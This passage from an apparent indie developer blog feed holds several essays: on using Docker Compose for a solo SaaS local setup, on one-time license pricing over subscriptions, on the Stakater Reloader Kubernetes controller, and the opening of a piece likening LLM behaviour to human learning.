debugging IAM policies instead of building features.</p><h2 id="tldr">TL;DR</h2><p>If you’re a solo founder or small team, your advantage isn’t scale — it’s speed.</p><p>Don’t trade that away for a cloud that was never built for you.</p><p>I share one short post daily-ish for productive indie developers — how to ship faster, cheaper, and saner. Subscribe if that’s your vibe.</p>
]]></content:encoded></item><item><title>Why Your SaaS Needs a Docker Compose Setup Even If You’re Just One Person</title><link>https://lakshminp.com/2025/10/saas-docker-compose-setup/</link><pubDate>Fri, 10 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/saas-docker-compose-setup/</guid><category>essays</category><category>kubernetes</category><category>saas</category><description>If you’re building a SaaS solo, the biggest productivity killer isn’t writing code — it’s setting up your damn environment.
You know the story:
You clone your repo on a new laptop or spin up a new dev box, run flask run or uvicorn main:app &amp;ndash;reload, and boom — connection refused on localhost:5432.
Postgres isn’t running.
Your .env file is half missing.
Supabase changed a port.
And now you’re googling “how to reset a Postgres user password” for the third time this month.</description><content:encoded>&lt;![CDATA[<p>If you’re building a SaaS solo, the biggest productivity killer isn’t writing code — it’s<em>setting up your damn environment</em>.</p><p>You know the story:</p><p>You clone your repo on a new laptop or spin up a new dev box, run flask run or uvicorn main:app &ndash;reload, and boom — connection refused on localhost:5432.</p><p>Postgres isn’t running.</p><p>Your .env file is half missing.</p><p>Supabase changed a port.</p><p>And now you’re googling “how to reset a Postgres user password” for the third time this month.</p><p>That’s why I’ve stopped messing around with manual setups — and started containerizing my<em>local</em> environment using<strong>Docker Compose</strong>.</p><p>Not because it’s trendy.</p><p>Because it’s the only way to guarantee I can pull, build, and<em>run</em> my app in under a minute.</p><h2 id="the-indie-dev-reality"><strong>The indie dev reality</strong></h2><p>As solo devs, we move fast. We don’t have infra teams or onboarding docs. Most of our systems live in muscle memory and terminal history.</p><p>That’s fine when you’re in the groove — until you need to:</p><ul><li><p>Revisit a project after a few months.</p></li><li><p>Share it with a collaborator.</p></li><li><p>Spin it up on a new machine.</p></li><li><p>Or just fix a quick bug and realize nothing runs anymore.</p></li></ul><p>A solid local setup is like documentation that actually works.</p><p>Docker Compose is the simplest way to get there.</p><h2 id="why-docker-compose"><strong>Why Docker Compose?</strong></h2><p>It’s not about “microservices” or “container orchestration.” Ignore that stuff.</p><p>Compose is just a YAML file that says:</p><blockquote><p>“Here’s everything my app needs — run it all together.”</p></blockquote><p>You can define your web app, Postgres, and even Supabase’s local stack if you want to mirror production closely.</p><p>When you run docker compose up, everything spins up consistently — same versions, same ports, same config — every time.</p><p>It’s reproducibility for humans.</p><h2 id="the-minimal-example-python--postgres"><strong>The minimal example (Python + Postgres)</strong></h2><p>Let’s say you’re building a FastAPI app that talks to Postgres.</p><p>Here’s a dead-simple docker-compose.yml to make your life easier:</p><figure><a href="https://substackcdn.com/image/fetch/$s_!22g4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faadf5b35-ab7a-4b9e-b1b3-01f4109e1c1f_1180x1102.png" class="image-link image2 is-viewable-img" target="_blank" data-component-name="Image2ToDOM"/><img src="https://substack-post-media.s3.amazonaws.com/public/images/aadf5b35-ab7a-4b9e-b1b3-01f4109e1c1f_1180x1102.png" class="sizing-normal" data-attrs='{"src":"https://substack-post-media.s3.amazonaws.com/public/images/aadf5b35-ab7a-4b9e-b1b3-01f4109e1c1f_1180x1102.png","srcNoWatermark":null,"fullscreen":null,"imageSize":null,"height":1102,"width":1180,"resizeWidth":null,"bytes":167377,"alt":null,"title":null,"type":"image/png","href":null,"belowTheFold":true,"topImage":false,"internalRedirect":"https://www.lakshminp.com/i/175771487?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faadf5b35-ab7a-4b9e-b1b3-01f4109e1c1f_1180x1102.png","isProcessing":false,"align":null,"offset":false}' srcset="https://substackcdn.com/image/fetch/$s_!22g4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faadf5b35-ab7a-4b9e-b1b3-01f4109e1c1f_1180x1102.png 424w, https://substackcdn.com/image/fetch/$s_!22g4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faadf5b35-ab7a-4b9e-b1b3-01f4109e1c1f_1180x1102.png 848w, https://substackcdn.com/image/fetch/$s_!22g4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faadf5b35-ab7a-4b9e-b1b3-01f4109e1c1f_1180x1102.png 1272w, https://substackcdn.com/image/fetch/$s_!22g4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faadf5b35-ab7a-4b9e-b1b3-01f4109e1c1f_1180x1102.png 1456w" sizes="100vw" loading="lazy" width="1180" height="1102"/><img src="data:image/svg+xml;base64,PHN2ZyByb2xlPSJpbWciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgdmlld2JveD0iMCAwIDIwIDIwIiBmaWxsPSJub25lIiBzdHJva2Utd2lkdGg9IjEuNSIgc3Ryb2tlPSJ2YXIoLS1jb2xvci1mZy1wcmltYXJ5KSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxnPjx0aXRsZT48L3RpdGxlPjxwYXRoIGQ9Ik0yLjUzMDAxIDcuODE1OTVDMy40OTE3OSA0LjczOTExIDYuNDMyODEgMi41IDkuOTExNzMgMi41QzEzLjE2ODQgMi41IDE1Ljk1MzcgNC40NjIxNCAxNy4wODUyIDcuMjM2ODRMMTcuNjE3OSA4LjY3NjQ3TTE3LjYxNzkgOC42NzY0N0wxOC41MDAyIDQuMjY0NzFNMTcuNjE3OSA4LjY3NjQ3TDEzLjY0NzMgNi45MTE3Nk0xNy40OTk1IDEyLjE4NDFDMTYuNTM3OCAxNS4yNjA5IDEzLjU5NjcgMTcuNSAxMC4xMTc4IDE3LjVDNi44NjExOCAxNy41IDQuMDc1ODkgMTUuNTM3OSAyLjk0NDMyIDEyLjc2MzJMMi40MTE2NSAxMS4zMjM1TTIuNDExNjUgMTEuMzIzNUwxLjUyOTMgMTUuNzM1M00yLjQxMTY1IDExLjMyMzVMNi4zODIyNCAxMy4wODgyIiAvPjwvZz48L3N2Zz4="/><img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgdmlld2JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLW1heGltaXplMiBsdWNpZGUtbWF4aW1pemUtMiI+PHBvbHlsaW5lIHBvaW50cz0iMTUgMyAyMSAzIDIxIDkiPjwvcG9seWxpbmU+PHBvbHlsaW5lIHBvaW50cz0iOSAyMSAzIDIxIDMgMTUiPjwvcG9seWxpbmU+PGxpbmUgeDE9IjIxIiB4Mj0iMTQiIHkxPSIzIiB5Mj0iMTAiPjwvbGluZT48bGluZSB4MT0iMyIgeDI9IjEwIiB5MT0iMjEiIHkyPSIxNCI+PC9saW5lPjwvc3ZnPg==" class="lucide lucide-maximize2 lucide-maximize-2"/></figure><p><a href="https://gist.github.com/badri/43b709d1a62249464346609a740bb069" rel="external nofollow noopener" class="lnp-link">link to the gist</a></p><p>And a Dockerfile to go along with it.</p><figure><a href="https://substackcdn.com/image/fetch/$s_!-s5u!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25b6d76c-4d67-4ded-9c76-94738d7e2e9a_1298x1660.png" class="image-link image2 is-viewable-img" target="_blank" data-component-name="Image2ToDOM"/><img src="https://substack-post-media.s3.amazonaws.com/public/images/25b6d76c-4d67-4ded-9c76-94738d7e2e9a_1298x1660.png" class="sizing-normal" data-attrs='{"src":"https://substack-post-media.s3.amazonaws.com/public/images/25b6d76c-4d67-4ded-9c76-94738d7e2e9a_1298x1660.png","srcNoWatermark":null,"fullscreen":null,"imageSize":null,"height":1660,"width":1298,"resizeWidth":null,"bytes":314313,"alt":null,"title":null,"type":"image/png","href":null,"belowTheFold":true,"topImage":false,"internalRedirect":"https://www.lakshminp.com/i/175771487?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25b6d76c-4d67-4ded-9c76-94738d7e2e9a_1298x1660.png","isProcessing":false,"align":null,"offset":false}' srcset="https://substackcdn.com/image/fetch/$s_!-s5u!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25b6d76c-4d67-4ded-9c76-94738d7e2e9a_1298x1660.png 424w, https://substackcdn.com/image/fetch/$s_!-s5u!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25b6d76c-4d67-4ded-9c76-94738d7e2e9a_1298x1660.png 848w, https://substackcdn.com/image/fetch/$s_!-s5u!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25b6d76c-4d67-4ded-9c76-94738d7e2e9a_1298x1660.png 1272w, https://substackcdn.com/image/fetch/$s_!-s5u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25b6d76c-4d67-4ded-9c76-94738d7e2e9a_1298x1660.png 1456w" sizes="100vw" loading="lazy" width="1298" height="1660"/><img src="data:image/svg+xml;base64,PHN2ZyByb2xlPSJpbWciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgdmlld2JveD0iMCAwIDIwIDIwIiBmaWxsPSJub25lIiBzdHJva2Utd2lkdGg9IjEuNSIgc3Ryb2tlPSJ2YXIoLS1jb2xvci1mZy1wcmltYXJ5KSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxnPjx0aXRsZT48L3RpdGxlPjxwYXRoIGQ9Ik0yLjUzMDAxIDcuODE1OTVDMy40OTE3OSA0LjczOTExIDYuNDMyODEgMi41IDkuOTExNzMgMi41QzEzLjE2ODQgMi41IDE1Ljk1MzcgNC40NjIxNCAxNy4wODUyIDcuMjM2ODRMMTcuNjE3OSA4LjY3NjQ3TTE3LjYxNzkgOC42NzY0N0wxOC41MDAyIDQuMjY0NzFNMTcuNjE3OSA4LjY3NjQ3TDEzLjY0NzMgNi45MTE3Nk0xNy40OTk1IDEyLjE4NDFDMTYuNTM3OCAxNS4yNjA5IDEzLjU5NjcgMTcuNSAxMC4xMTc4IDE3LjVDNi44NjExOCAxNy41IDQuMDc1ODkgMTUuNTM3OSAyLjk0NDMyIDEyLjc2MzJMMi40MTE2NSAxMS4zMjM1TTIuNDExNjUgMTEuMzIzNUwxLjUyOTMgMTUuNzM1M00yLjQxMTY1IDExLjMyMzVMNi4zODIyNCAxMy4wODgyIiAvPjwvZz48L3N2Zz4="/><img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgdmlld2JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLW1heGltaXplMiBsdWNpZGUtbWF4aW1pemUtMiI+PHBvbHlsaW5lIHBvaW50cz0iMTUgMyAyMSAzIDIxIDkiPjwvcG9seWxpbmU+PHBvbHlsaW5lIHBvaW50cz0iOSAyMSAzIDIxIDMgMTUiPjwvcG9seWxpbmU+PGxpbmUgeDE9IjIxIiB4Mj0iMTQiIHkxPSIzIiB5Mj0iMTAiPjwvbGluZT48bGluZSB4MT0iMyIgeDI9IjEwIiB5MT0iMjEiIHkyPSIxNCI+PC9saW5lPjwvc3ZnPg==" class="lucide lucide-maximize2 lucide-maximize-2"/></figure><p><a href="https://gist.github.com/badri/d198c94da28eae987cc2333b2f168d41" rel="external nofollow noopener" class="lnp-link">Link to the gist</a></p><p>That’s it.</p><p>Now you can run your entire stack with one command:</p><blockquote><p><code>docker compose up</code></p></blockquote><p>Your Python app connects to Postgres instantly.</p><p>No need to brew install, no weird port conflicts, no “is Postgres running?” guessing game.</p><h2 id="want-to-mirror-supabase-locally"><strong>Want to mirror Supabase locally?</strong></h2><p>If you’re using<strong>Supabase</strong> in production but want to run locally, Supabase has its own CLI that uses Docker under the hood.</p><p>You can spin up a near-production clone with:</p><blockquote><p><code>supabase start</code></p></blockquote><p>That’ll run Postgres, API, auth, and storage locally in containers — no manual setup required.</p><p>It’s heavier, but it’s great if you’re testing row-level security, triggers, or anything that depends on Supabase’s stack.</p><h2 id="but-isnt-docker-heavy"><strong>But isn’t Docker heavy?</strong></h2><p>Yeah, a little.</p><p>The first time you pull images, it’ll download a few hundred MB. After that, it’s fast.</p><p>And honestly, the alternative is worse — debugging inconsistent environments and broken local databases.</p><p>The real magic isn’t that it’s fast — it’s that it’s<em>reliable</em>.</p><p>If you take a break from your project for a month, you can come back and it’ll just work.</p><p>That’s worth the disk space.</p><h2 id="bonus-the-same-setup-works-for-production"><strong>Bonus: the same setup works for production</strong></h2><p>Here’s the underrated part — once you have this docker-compose.yml, you’re halfway to a production deployment.</p><p>You can:</p><ul><li><p>Build your app image with docker compose build api.</p></li><li><p>Push it to a registry like Docker Hub or GitHub Container Registry.</p></li><li><p>Deploy it to Fly.io, Render, Railway, or your VPS — all of which happily accept a pre-built Docker image.</p></li></ul><p>That means your<strong>local setup = production setup</strong>.</p><p>No “works on my machine,” no separate Heroku config, no hand-tuned server differences.</p><p>You’re testing<em>exactly</em> what you’ll ship.</p><p>For example, to build your image for deployment:</p><blockquote><p><code>docker compose build api</code></p><p><code>docker tag yourapp_api your-registry.com/yourapp:latest</code></p><p><code>docker push your-registry.com/yourapp:latest</code></p></blockquote><p>Then you can run it anywhere with:</p><blockquote><p><code>docker run -p 8000:8000 your-registry.com/yourapp:latest</code></p></blockquote><p>This alignment — same Dockerfile, same Compose config — is what makes deployment predictable, even as a one-person team.</p><h2 id="quality-of-life-improvements"><strong>Quality-of-life improvements</strong></h2><p>Once you’ve got Compose running smoothly, you can make it even nicer:</p><p><strong>1. Add a Makefile or script for one-command startup:</strong></p><blockquote><p><code>make up</code></p></blockquote><p>Your Makefile contents:</p><blockquote><p><code>up:</code></p><p><code> docker compose up --build</code></p></blockquote><p><strong>2. Add a seed script for your DB:</strong></p><blockquote><p><code>docker compose exec db psql -U dev -d app -f seeds.sql</code></p></blockquote><p><strong>3. Run tests in the same containers:</strong></p><blockquote><p><code>docker compose run api pytest</code></p></blockquote><p>You now have a full, consistent local dev environment that<em>feels like production</em>, without the cloud bill.</p><h2 id="the-point-isnt-docker--its-repeatability"><strong>The point isn’t Docker — it’s repeatability</strong></h2><p>You’re not doing this to “learn containers.”</p><p>You’re doing it because your time is too valuable to waste on setup chores.</p><p>A docker-compose.yml file is the indie dev version of a safety net.</p><p>You can drop your laptop, clone your repo on a new one, and be productive in 60 seconds flat.</p><p>And when it’s time to deploy?</p><p>You’re already 90% there.</p><h2 id="tldr"><strong>TL;DR</strong></h2><ul><li><p>Your SaaS deserves a repeatable local setup.</p></li><li><p>Docker Compose makes it dead simple for Python + Postgres (and Supabase).</p></li><li><p>It doubles as your build foundation for production images.</p></li><li><p>You’ll thank yourself every time you reopen an old project or deploy something new.</p></li></ul><p>It’s one of those rare decisions that’s both practical<em>and</em> future-proof.</p><p>Set it up once — and your dev-to-prod pipeline just became a lot less fragile.</p>
]]></content:encoded></item><item><title>Stop Forcing Subscriptions on your SaaS. Do this instead.</title><link>https://lakshminp.com/2025/10/saas-one-time-pricing/</link><pubDate>Thu, 09 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/saas-one-time-pricing/</guid><category>essays</category><category>saas</category><description>For the past decade, “SaaS” has been almost synonymous with “subscription.”
Monthly plans. Recurring revenue. The holy grail of predictability.
But let’s be honest — not every product justifies being billed every month.
Some tools solve a short, sharp problem. They’re used heavily once, and then only occasionally, if ever, after that.
Forcing that into a subscription model doesn’t create a loyal customer base. It creates churn.
So, let’s talk about an alternative: a one-time license model that’s installed on the user’s own infrastructure.</description><content:encoded>&lt;![CDATA[<p>For the past decade, “SaaS” has been almost synonymous with “subscription.”<br>
Monthly plans. Recurring revenue. The holy grail of predictability.</p><p>But let’s be honest — not every product justifies being billed every month.<br>
Some tools solve a short, sharp problem. They’re used heavily once, and then only occasionally, if ever, after that.</p><p>Forcing that into a subscription model doesn’t create a loyal customer base. It creates churn.</p><p>So, let’s talk about an alternative:<strong>a one-time license model that’s installed on the user’s own infrastructure</strong>.</p><p>They buy it once. You give them the code. They run it wherever they want.</p><p>It’s not just a throwback to the old “software license” days — it’s a modern, lean, developer-friendly way to build a business without the overhead of hosting, scaling, and endless retention tactics.</p><h2 id="when-subscriptions-dont-fit">When Subscriptions Don’t Fit</h2><p>Imagine you’ve built a tool that helps teams<strong>migrate their customer data from one CRM to another</strong>.</p><p>Most companies only do this once. They just want it done right.</p><p>You could sell this as a $49/month SaaS, but that’s immediately awkward:</p><ul><li><p>Your users might only need it for a few weeks.</p></li><li><p>You’ll end up with tons of churn.</p></li><li><p>You’ll need to support inactive users forever because “they’re still subscribed.”</p></li></ul><p>Now imagine instead you sell it as a<strong>one-time installable tool</strong>.</p><p>They pay<strong>$499</strong> upfront. You send them the source (or a compiled binary) and a license key. They run it on their own infra — AWS, GCP, their laptop, whatever.</p><p>No ongoing hosting costs for you.<br>
No surprise bills for them.<br>
No monthly churn charts haunting you.</p><p>Just a clean, value-aligned exchange:<em>they pay for the outcome; you deliver it.</em></p><h2 id="but-isnt-that-giving-away-the-code">But Isn’t That Giving Away the Code?</h2><p>Yes — and that’s not as scary as it sounds.</p><p>For technical customers (especially startups or agencies),<strong>self-hosted + licensed</strong> software can be a big<em>selling point</em>. They get control, compliance, and peace of mind.</p><p>And for you? You skip the DevOps, uptime monitoring, and scaling headaches.</p><p>You can even<strong>open-source a limited version</strong> and sell the “Pro” edition with additional features, integrations, or automation. That approach builds trust and lowers the barrier to entry — a model proven by countless successful tools (think Plausible, Sentry, or PostHog).</p><h2 id="how-to-make-it-profitable-without-recurring-revenue">How to Make It Profitable (Without Recurring Revenue)</h2><p>Let’s be real: one-time payments can kill you if you don’t plan for longevity.</p><p>You can’t promise lifetime updates for $49 and expect to survive.<br>
The trick is to<strong>price for sustainability</strong> and design smart upsells.</p><p>Here’s a simple structure:</p><ol><li><p><strong>Base License (One-Time Purchase)</strong><br>
The core product, installable and self-managed. One license per company, priced based on business value — not your costs.<br>
Example: $499 for the migration tool.</p></li><li><p><strong>Pro or Enterprise Tier</strong><br>
Unlocks advanced features like API access, audit logs, or multi-user setups.<br>
Example: $1,499 for the “Enterprise Migration Suite.”</p></li><li><p><strong>Done-for-You Setup</strong><br>
Not everyone wants to fiddle with YAML files or AWS permissions. Offer to set it up for them — fast, clean, and guaranteed to work.<br>
Example: $1,000 for installation and configuration.</p></li><li><p><strong>Support Retainer (Recurring)</strong><br>
For customers who<em>do</em> want ongoing help, offer an optional support plan — monthly or yearly — that they can cancel anytime.<br>
Example: $200/month for priority support and updates.</p></li><li><p><strong>Fixed Support Packages</strong><br>
For those who prefer predictability, offer prepaid support hours.<br>
Example: $800 for 10 hours of support, usable anytime within a year.</p></li></ol><p>The combination of these makes your business sustainable.<br>
You get upfront cash flow from licenses and setups, and optional recurring revenue from support — but without forcing subscriptions on everyone.</p><h2 id="a-real-example-indie-data-migration-tool">A Real Example: Indie Data Migration Tool</h2><p>Let’s run the numbers.</p><p>You sell a<strong>self-hosted data migration tool</strong>.<br>
You price it at<strong>$499</strong> for the standard license.</p><p>In your first month, 10 teams buy it. That’s<strong>$4,990 upfront</strong>.</p><p>Out of those, 3 ask for the done-for-you setup at $1,000 each.<br>
Now you’re at<strong>$7,990</strong> total.</p><p>Two of those teams also sign up for your support retainer at $200/month.</p><p>That’s an extra<strong>$400 MRR</strong> — but it’s optional, not forced.</p><p>You’ve built something simple, useful, and profitable — without ever worrying about churn graphs, Stripe retries, or feature bloat to “increase stickiness.”</p><h2 id="actionable-takeaways">Actionable Takeaways</h2><p><strong>Match pricing to value, not format.</strong><br>
Don’t just copy the subscription playbook because everyone else does. Ask yourself: how often will people actually use this thing, and how much pain does it remove? If it’s a one-time fix, charge like it.</p><p><strong>Design for autonomy.</strong><br>
Developers love control. Let them host it, own it, and plug it into their stack. You’ll end up with happier customers and fewer support tickets than you’d think.</p><p><strong>Price like it matters.</strong><br>
If you’re selling a one-time license, it needs to<em>cover your runway</em>. Don’t shy away from bigger numbers. $499 for something that works beats $49/month for something people cancel in two.</p><p><strong>Offer optional continuity.</strong><br>
You don’t have to force subscriptions, but you can still offer them. A support retainer or yearly update plan gives your best customers a way to stay connected — and gives you breathing room.</p><p><strong>Keep it simple.</strong><br>
No servers, no churn dashboards, no “engagement loops.” Just build a tool, sell it, and support the people who need it. That’s still a business — and a pretty good one.</p><p>In a world obsessed with “monthly recurring revenue,” it’s refreshing to remember you can still build a<strong>sane, sustainable business</strong> by selling software the old-fashioned way — for a fair, one-time price.</p><p>Sometimes, the best “recurring” part of your business isn’t the billing.<br>
It’s your reputation for shipping solid tools that solve real problems.</p>
]]></content:encoded></item><item><title>The Kubernetes Controller That Auto-Reloads Your ConfigMaps</title><link>https://lakshminp.com/2025/10/kubernetes-controller-tutorial/</link><pubDate>Tue, 07 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/kubernetes-controller-tutorial/</guid><category>essays</category><category>kubernetes</category><description>Every now and then, you stumble upon a Kubernetes project that makes you stop and think, “Wait, why isn’t this built-in?”
Stakater Reloader is one of those for me.
Here’s the problem it quietly solves: Kubernetes Deployments, DaemonSets, and StatefulSets don’t automatically reload when their ConfigMaps or Secrets change. You could update the config file, roll out a new image, patch the deployment — but the pods? They’ll keep running happily with the old values until you manually restart them. It’s one of those “by design” quirks that has tripped up almost every engineer at least once.</description><content:encoded>&lt;![CDATA[<p>Every now and then, you stumble upon a Kubernetes project that makes you stop and think, “Wait, why isn’t this built-in?”</p><p><a href="https://docs.stakater.com/reloader/" rel="external nofollow noopener" class="lnp-link">Stakater Reloader</a> is one of those for me.</p><p>Here’s the problem it quietly solves: Kubernetes Deployments, DaemonSets, and StatefulSets don’t automatically reload when their ConfigMaps or Secrets change. You could update the config file, roll out a new image, patch the deployment — but the pods? They’ll keep running happily with the old values until you manually restart them. It’s one of those “by design” quirks that has tripped up almost every engineer at least once.</p><p>Reloader fixes that. It’s a lightweight controller that watches for changes in ConfigMaps and Secrets. When it detects one, it simply triggers a rolling restart of the workloads that depend on them. Nothing fancy, nothing hacky — just Kubernetes done right.</p><p>Here’s how it works under the hood. It uses the Kubernetes watch API to monitor resource updates. When a change is observed, it looks for deployments or other workloads annotated with</p><blockquote><p><code>reloader.stakater.com/auto: “true”</code></p></blockquote><p>If it finds one, it patches the deployment’s pod template spec — usually by bumping an annotation — forcing Kubernetes to treat it as a new version and trigger a rolling update. No sidecars, no injection tricks, no external scripts. Just a clean use of the existing control-plane semantics.</p><p>It’s elegant precisely because it doesn’t reinvent anything. It leans into how Kubernetes already works, filling in an obvious usability gap.</p><p>You could argue this is the kind of feature that belongs in<strong>core Kubernetes</strong>. After all, it’s not “extra functionality” — it’s just common sense. If my config changes, my app should refresh. But Kubernetes’ philosophy has always been to stay minimal, leaving operators and tools to extend behavior. That’s how ecosystems like Stakater exist in the first place.</p><p>And yet, Reloader feels different. It doesn’t add complexity; it<em>removes friction</em>. It codifies a best practice we’ve all implemented in ad-hoc ways — shell scripts, kubectl rollout restart, or CI hacks. In a way, Reloader formalizes something that should have been declarative from day one.</p><p>If you look at its implementation, it’s almost deceptively simple — a few controllers, an event handler, and some logic to patch annotations. But simplicity is what makes it beautiful. It’s one of those tools that quietly runs in the background for years without drawing attention — until one day you disable it and everything starts to feel broken again.</p><p>The lesson? Some of the most powerful Kubernetes tools don’t add layers of abstraction; they close tiny gaps that make the system feel humane.</p><p>Reloader doesn’t try to be clever. It just keeps your pods honest.</p>
]]></content:encoded></item><item><title>What LLMs Reveal About Human Cognition</title><link>https://lakshminp.com/2025/10/llm-human-cognition/</link><pubDate>Mon, 06 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/llm-human-cognition/</guid><category>essays</category><category>ai-coding</category><description>We like to think we’re smarter than the machines we build.
And maybe we are — for now. But something odd has been happening lately.
As I’ve spent more time training, prompting, and poking large language models, I’ve started noticing… echoes.
Not just in their outputs. In their behaviours.
In the way they learn.
In how they fail.
In how they improve.
And in the way they pretend.
It started as a metaphor.</description><content:encoded>&lt;![CDATA[<p>We like to think we’re smarter than the machines we build.</p><p>And maybe we are — for now. But something odd has been happening lately.</p><p>As I’ve spent more time training, prompting, and poking large language models, I’ve started noticing… echoes.</p><p>Not just in their outputs. In their<strong>behaviours</strong>.</p><p>In the way they learn.</p><p>In how they fail.</p><p>In how they improve.</p><p>And in the way they pretend.</p><p>It started as a metaphor.</p><p>Now I believe it’s more than that:</p><p><strong>Our brains are wetware LLMs.</strong></p><h2 id="training-and-the-loop"><strong>Training and the Loop</strong></h2><p>If you’ve ever trained a model — or even just used one through an API — you start to internalize a rhythm.</p><ol><li><p>Feed it examples.</p></li><li><p>Check the outputs.</p></li><li><p>Reinforce the good.</p></li><li><p>Penalize the bad.</p></li><li><p>Repeat until it improves.</p></li></ol><p>This isn’t just machine learning.</p><p>This is how we learn everything.</p><p>When I was younger, trying to improve my Carnatic violin playing, I’d follow the same loop.</p><p>Play the swara.</p><p>Notice the sour note.</p><p>Replay.</p><p>Adjust fingering/intonation.</p><p>Rinse/Repeat.</p><p>Eventually, the feedback loop got shorter. The ear began correcting the hand before the mind even intervened.</p><p>That’s tuning.</p><p>Or when I’m studying fiction — I don’t just read Dean Koontz or Lee Child. I<strong>type out</strong> their stories, word for word. A practice technique suggested by prolific writer<a href="https://deanwesleysmith.com/" rel="external nofollow noopener" class="lnp-link">Dean Wesley Smith</a>.</p><p>Copying wasn’t plagiarism. It was<strong>pretraining</strong>.</p><p>You learn cadence by mimicry. You learn structure by absorption.</p><p>And then, one day, you surprise yourself with an output that feels original — but you know, deep down, the gradient came from somewhere.</p><h2 id="model-behaviours-we-share"><strong>Model Behaviours We Share</strong></h2><p>Here’s the eerie part: the more you work with LLMs, the more human they feel — not in consciousness, but in quirks.</p><p><strong>1. Overfitting</strong></p><p>LLMs that are fine-tuned too aggressively on narrow data start parroting it — losing flexibility.</p><p>So do we.</p><p>Ever meet someone who mastered one domain and can’t unlearn their habits when switching fields? That’s human overfitting.</p><p><strong>2. Hallucinations</strong></p><p>LLMs generate plausible nonsense when unsure. So do we.</p><p>In meetings. On first dates. During interviews.</p><p>Confidence is<em>not the same as</em> correctness — for both machines and minds.</p><p><strong>3. Context windows</strong></p><p>LLMs can only “see” a certain number of tokens at once.</p><p>So can we.</p><p>Ever walk into a room and forget why you went in? That’s a context window shift. Our attention span — bounded. Our memory — fallible.</p><p>But we can prime our context deliberately — by journaling, outlining, visualizing. Just like how you “prompt” a model better when you include prior examples.</p><p><strong>4. Personas</strong></p><p>LLMs can be given system prompts to behave a certain way: “Act like a Shakespearean actor”, “You are a helpful Linux admin”, “You’re a snarky writing coach”.</p><p>We do this too. We wear masks.</p><p>We speak differently at work than at home.</p><p>We switch from teacher mode to student mode.</p><p>We code-switch, dialect-shift, self-filter.</p><p>These personas aren’t fake.</p><p>They’re<strong>fine-tuned subsets</strong> of ourselves, optimized for task and audience.</p><h2 id="do-some-brains-have-more-parameters"><strong>Do Some Brains Have More Parameters?</strong></h2><p>Sometimes I wonder: if we stretch the metaphor, do people have different “parameter counts”?</p><p>Do some folks just have more neurons wired up, more memory bandwidth, more raw capacity?</p><p>Maybe.</p><p>But LLMs remind us:<strong>parameter count isn’t destiny</strong>.</p><p>It’s how you train.</p><p>What you expose yourself to.</p><p>What feedback you seek.</p><p>How often you iterate.</p><p>Even the largest models are dumb if they’ve been trained on trash.</p><p>And even a small model — carefully fine-tuned on the right data, guided with the right prompts — can outperform giants.</p><p>Same with people.</p><p>We’ve all met someone who had every advantage and squandered it.</p><p>We’ve all met someone else — less formally educated, less polished — who radiated clarity and depth because they<em>trained deliberately</em>.</p><p>It’s not about who has the most parameters.</p><p>It’s about who’s still in the loop.</p><h2 